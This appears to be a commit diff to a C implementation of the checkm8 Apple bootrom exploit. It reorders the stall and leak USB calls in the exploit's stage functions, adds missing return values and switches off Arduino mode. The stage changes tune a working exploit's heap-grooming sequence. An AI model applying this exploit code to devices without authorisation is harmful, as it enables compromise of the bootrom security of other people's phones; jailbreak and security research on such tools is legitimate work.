Not sure how but this works so much better??

checkm8_remote/src/command.c

@@ -34,6 +34,8 @@ int dfu_send_data(struct pwned_device *dev, unsigned char *data, long data_len)
         }
         index += amount;
     }
+
+    return CHECKM8_SUCCESS;
 }
 
 static unsigned char nullbuf[16] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};

checkm8_remote/src/exploit.c

@@ -121,9 +121,8 @@ int stage1_function(struct pwned_device *dev)
     unsigned int i;
 
     stall(dev);
-    for(i = 0; i < 5; i++) no_leak(dev);
-    usb_req_leak(dev);
-    no_leak(dev);
+    leak(dev);
+    for(i = 0; i < 6; i++) no_leak(dev);
 
     reset(dev);
     return CHECKM8_SUCCESS;
@@ -166,8 +165,9 @@ int stage3_function(struct pwned_device *dev)
     fread(payload_buf, pl_len, 1, payload_file);
     fclose(payload_file);
 
-    usb_req_stall(dev);
-    usb_req_leak(dev);
+    stall(dev);
+    leak(dev);
+    leak(dev);
 
     checkm8_debug_indent("\ttransferring overwrite (%i bytes)\n", ow_len);
     while(index < ow_len)

checkm8_remote/src/usb_helpers.c

@@ -43,25 +43,32 @@ int open_device_session(struct pwned_device *dev)
     switch(ARDUINO_BAUD)
     {
         case 4800:
-            brate = B4800; break;
+            brate = B4800;
+            break;
 
         case 9600:
-            brate = B9600; break;
+            brate = B9600;
+            break;
 
         case 19200:
-            brate = B19200; break;
+            brate = B19200;
+            break;
 
         case 38400:
-            brate = B38400; break;
+            brate = B38400;
+            break;
 
         case 57600:
-            brate = B57600; break;
+            brate = B57600;
+            break;
 
         case 115200:
-            brate = B115200; break;
+            brate = B115200;
+            break;
 
         default:
-            brate = B9600; break;
+            brate = B9600;
+            break;
     }
 
     cfsetispeed(&toptions, brate);
@@ -612,5 +619,6 @@ int serial_descriptor(struct pwned_device *dev, unsigned char *serial_buf, int l
     struct libusb_device_descriptor *desc = dev->bundle->descriptor;
 
     libusb_get_string_descriptor_ascii(handle, desc->iSerialNumber, serial_buf, len);
+    return CHECKM8_SUCCESS;
 #endif
 }

include/checkm8_config.h

@@ -3,9 +3,8 @@
 
 //#define LIBUSB_LOGGING
 #define CHECKM8_LOGGING
-#define ARDUINO_LOGGING
 
-#define WITH_ARDUINO
+//#define WITH_ARDUINO
 #define ARDUINO_DEV "/dev/ttyACM0"
 #define ARDUINO_BAUD 115200